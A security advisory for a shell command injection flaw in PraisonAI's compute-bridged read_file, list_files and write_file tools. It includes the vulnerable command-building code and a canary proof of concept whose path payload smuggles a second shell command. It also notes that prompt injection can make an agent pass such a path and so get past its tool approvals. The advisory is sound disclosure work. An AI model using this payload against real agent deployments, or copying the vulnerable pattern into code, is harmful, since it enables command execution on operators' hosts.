Technologyglobalverified · 90%

PraisonAI: Compute-bridged file tools allow shell command injection

When
Where
Global (internet)
Category
cyber_advisory · pip

# Compute-bridged file tools allow shell command injection ## Summary `LocalManagedAgent` / `SandboxedAgent` compute bridging wraps `read_file`, `list_files`, and `write_file` when a compute provider is attached. The bridge converts those file operations into shell command strings using raw path arguments, then sends those strings to shell-backed compute providers. An attacker who can influence a file-tool path argument can break out of the quoted path and execute arbitrary shell commands in the compute environment. With `compute="local"`, commands execute through the local subprocess compute provider on the host. With Docker, commands execute in the container. ## Affected Product - Repository: `MervinPraison/PraisonAI` - Package: `praisonai` - Component: `src/praisonai/praisonai/integrations/managed_local.py` - Confirmed affected: - `v4.6.10` - `v4.6.56` - `v4.6.57` - current `main` at `2f9677abb2ea68eab864ee8b6a828fd0141612e1` - Confirmed not affected: - `v4.6.9` - `v4.6.1` - `v4.5.149` - Suggested affected range: `>= 4.6.10, <= 4.6.57` ## Root Cause Current `managed_local.py` defines the bridged tool set: ```python compute_bridged_tools = {"execute_command", "read_file", "write_file", "list_files"} ``` For file tools, `_bridge_file_tool()` constructs shell command strings: ```python command = f'cat "{filepath}"' command = f'ls -la "{directory}"' command = f'cat > "{filepath}" << "EOF"\n{content}\nEOF' ``` The local compute provider executes the string with `asyncio.create_subprocess_shell(...)`; the Docker compute provider executes it with `["sh", "-c", command]`. The bridge keeps the low-risk `read_file` / `list_files` tool names and signatures while changing their execution primitive into shell interpretation. ## Why This Is Not Intended Behavior Compute bridging itself is documented and intentional. The vulnerability is that file path data is interpreted as shell syntax. The normal `read_file` and `list_files` implementations treat the same payload as a literal path and do not expand shell metacharacters. The approval registry also marks `execute_command` as `critical`, while `read_file` and `list_files` are not dangerous-tool entries. ## Impact An application that exposes a PraisonAI agent using `LocalManagedAgent` or `SandboxedAgent` with a compute provider and a restricted file-tool set can be tricked into executing shell commands through a path argument to `read_file` or `list_files`. This can bypass least-privilege tool configuration and tool-approval expectations. A prompt-injection path, chat endpoint, automation webhook, or other user-controlled agent task can supply the file path argument without the operator granting `execute_command`. ## Local PoV The PoV is local-only and harmless. It uses an environment canary and compares normal file tools against compute-bridged file tools. Minimal inline reproducer: ```python import os from pathlib import Path from praisonai.integrations.managed_local import LocalManagedAgent, LocalManagedConfig from praisonaiagents.tools import list_files, read_file workdir = Path(".prai-cand-006-pov-workdir") workdir.mkdir(exist_ok=True) (workdir / "safe.txt").write_text("SAFE_CONTENT\n", encoding="utf-8") canary = "PRAISONAI_CAND_006_COMMAND_EXECUTED" os.environ["PRAI_CAND_006_CANARY"] = canary payload = 'missing"; printf "$PRAI_CAND_006_CANARY"; #' # Control: normal file tools treat the payload as a literal path. normal_read = read_file(str(workdir / payload)) normal_list = str(list_files(str(workdir) + '"; printf "$PRAI_CAND_006_CANARY"; #')) cfg = LocalManagedConfig( name="prai-cand-006-poc", tools=["read_file", "list_files"], working_dir=str(workdir), ) managed = LocalManagedAgent(config=cfg, compute="local") tools = {tool.__name__: tool for tool in managed._resolve_tools()} bridged_read = tools["read_file"](payload) bridged_list = tools["list_files"]('."; printf "$PRAI_CAND_006_CANARY"; #') print("normal_read_contains_canary", canary in normal_read) print("normal_list_contains_canary", canary in normal_list) print("bridged_read_contains_canary", canary in bridged_read) print("bridged_list_contains_canary", canary in bridged_list) ``` Command: ```bash python3 \ submission-bundle/praisonai-prai-cand-006-compute-file-tool-command-injection/poc/prai_cand_006_compute_file_tool_command_injection.py \ --repo artifacts/repos/praisonai-current ``` Current-head result: ```json { "describe": "v4.6.57-4-g2f9677ab", "vulnerable": true, "normal_controls": { "read_file_payload_contains_canary": false, "list_files_payload_contains_canary": false }, "bridged_results": { "read_file_payload_contains_canary": true, "list_files_payload_contains_canary": true }, "approval_registry": { "execute_command_risk": "critical", "read_file_risk": null, "list_files_risk": null } } ``` The payload used by the PoV is: ```text missing"; printf "$PRAI_CAND_006_CANARY"; # ``` Normal `read_file` treats this as a literal missing filename. The bridged tool constructs: ```sh cat "missing"; printf "$PRAI_CAND_006_CANARY"; #" ``` and returns the canary from the compute shell. ## Suggested Fix Do not implement file operations by constructing shell command strings from path/content arguments. Preferred fix: 1. Add provider-native file APIs for read, write, and list operations, or pass arguments as structured argv where the provider supports it. 2. Preserve the normal file-tool path validation and workspace boundary checks for compute-bridged file tools. 3. Treat `write_file` content as data, not shell source. The current heredoc construction is also unsafe if content can contain the delimiter. 4. Add regression tests that use paths containing `"`, `;`, `$()`, backticks, newline, and `#` and assert no shell execution occurs. 5. Keep `execute_command` as the only bridge path that intentionally accepts a shell command string, with critical approval semantics. A minimal stopgap is to remove `read_file`, `list_files`, and `write_file` from `compute_bridged_tools` until safe provider-native file operations exist. ## Suggested Severity The vector assumes an attacker has low-privilege access to an agent interface that can request file-tool use. If a deployment exposes such an agent without authentication, `PR:N` may be appropriate.

Sources

Defaxon links out to the original reporting and never republishes article text.

Correlated events

Computed by the Defaxon correlation engine — linked by shared actors, co-location, and temporal proximity. Scored hypotheses, never causal claims.

No correlated events found in the current window. As more events arrive, connections form automatically.

← Back to the live map